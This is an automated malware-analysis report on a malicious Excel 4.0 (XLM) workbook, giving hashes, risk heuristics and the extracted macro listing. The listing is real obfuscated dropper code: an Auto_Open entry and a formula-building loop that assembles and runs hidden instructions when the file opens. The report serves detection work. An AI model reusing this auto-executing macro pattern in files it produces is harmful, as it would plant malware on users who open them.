Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 20111249e976bf93…

MALICIOUS

Office (OLE)

36.0 KB Created: 2020-11-25 10:47:17 Authoring application: Microsoft Excel First seen: 2021-02-09
MD5: c56a6d93a655582663a77c9fb524c160 SHA-1: ee5b865f0b376ba84f3ca99d28081cc824ce9bfe SHA-256: 20111249e976bf937367dc53910a4c3eed860a5fe27f01b0c7827130fecc0498
140 Risk Score

Heuristics 3

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6696 bytes
SHA-256: aaec46b7a4da93bfd8827d4f6a00d94fb9b0d82af7cf7788e43ce1701fe86758
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     20 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  zzmrEfhgpvQ
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G176 
' 0018     21 LABEL : Cell Value, String Constant - dVqEka len=0 
' 0018     27 LABEL : Cell Value, String Constant - EuEkuSApAgoU len=0 
' 0018     24 LABEL : Cell Value, String Constant - FbRZZWQKW len=0 
' 0018     26 LABEL : Cell Value, String Constant - gQsvahAouTr len=0 
' 0018     25 LABEL : Cell Value, String Constant - JJwfNxypzp len=0 
' 0018     25 LABEL : Cell Value, String Constant - KhVCuKvMaw len=0 
' 0018     24 LABEL : Cell Value, String Constant - mmndXjbVj len=0 
' 0018     26 LABEL : Cell Value, String Constant - MwWuhCspUPG len=0 
' 0018     24 LABEL : Cell Value, String Constant - pGSpLHUrX len=0 
' 0018     22 LABEL : Cell Value, String Constant - pPHXSpr len=0 
' 0018     27 LABEL : Cell Value, String Constant - pxmtUTRLBnPt len=0 
' 0018     23 LABEL : Cell Value, String Constant - qsbEiyEm len=0 
' 0018     26 LABEL : Cell Value, String Constant - sfAgZExzWmT len=0 
' 0018     23 LABEL : Cell Value, String Constant - SIlKinKc len=0 
' 0018     26 LABEL : Cell Value, String Constant - sOFtFfiqfuR len=0 
' 0018     20 LABEL : Cell Value, String Constant - VifVe len=0 
' 0018     25 LABEL : Cell Value, String Constant - vTVQINXqBo len=0 
' 0018     23 LABEL : Cell Value, String Constant - VYgCTwyk len=0 
' 0018     22 LABEL : Cell Value, String Constant - wnQQvqT len=0 
' 0018     26 LABEL : Cell Value, String Constant - WOOvLCsAlQm len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  zzmrEfhgpvQ,G77,"SET.NAME("JJwfNxypzp",VALUE("0"))",""
'  zzmrEfhgpvQ,G82,"SET.NAME("vTVQINXqBo",JJwfNxypzp)",""
'  zzmrEfhgpvQ,G86,"SET.NAME("WOOvLCsAlQm",JJwfNxypzp)",""
'  zzmrEfhgpvQ,G91,"SET.NAME("qsbEiyEm",COUNTA(KhVCuKvMaw))",""
'  zzmrEfhgpvQ,G96,"SET.NAME("VYgCTwyk",COUNTA(wnQQvqT))",""
'  zzmrEfhgpvQ,G100,[],""
'  zzmrEfhgpvQ,G105,"SET.NAME("sfAgZExzWmT","")",""
'  zzmrEfhgpvQ,G110,"vTVQINXqBo",""
'  zzmrEfhgpvQ,G114,"SET.NAME("SIlKinKc",HLOOKUP("*",KhVCuKvMaw,vTVQINXqBo,FALSE))",""
'  zzmrEfhgpvQ,G116,"pPHXSpr",""
'  zzmrEfhgpvQ,G119,"SET.NAME("FbRZZWQKW",JJwfNxypzp)",""
'  zzmrEfhgpvQ,G122,[],""
'  zzmrEfhgpvQ,G126,"FbRZZWQKW",""
'  zzmrEfhgpvQ,G129,"gQsvahAouTr",""
'  zzmrEfhgpvQ,G133,"VifVe",""
'  zzmrEfhgpvQ,G136,"pGSpLHUrX",""
'  zzmrEfhgpvQ,G140,"SET.NAME("sOFtFfiqfuR",VALUE(HLOOKUP("*",wnQQvqT,pGSpLHUrX,FALSE)))",""
'  zzmrEfhgpvQ,G144,"EuEkuSApAgoU",""
'  zzmrEfhgpvQ,G148,"sfAgZExzWmT",""
'  zzmrEfhgpvQ,G153,"WOOvLCsAlQm",""
'  zzmrEfhgpvQ,G156,NEXT(),""
'  zzmrEfhgpvQ,G161,"dVqEka",""
'  zzmrEfhgpvQ,G164,"SET.NAME("f",INT(T(FORMULA(T(sfAgZExzWmT)&"",""&T(dVqEka)))))",""
'  zzmrEfhgpvQ,G168,"pxmtUTRLBnPt",""
'  zzmrEfhgpvQ,G171,NEXT(),""
'  zzmrEfhgpvQ,G173,RETURN(),""
'  zzmrEfhgpvQ,G201,"SET.NAME("mmndXjbVj",G77)",""
'  zzmrEfhgpvQ,G205,"KhVCuKvMaw",""
'  zzmrEfhgpvQ,G207,"SET.NAME("wnQQvqT",R54C12)",""
'  zzmrEfhgpvQ,G211,"SET.NAME("pxmtUTRLBnPt",219)",""
'  zzmrEfhgpvQ,G213,"SET.NAME("MwWuhCspUPG",7)",""
'  zzmrEfhgpvQ,G218,mmndXjbVj(),""
'  zzmrEfhgpvQ,G219,HALT(),""

Open this report in the interactive analyzer, or submit your own file for analysis.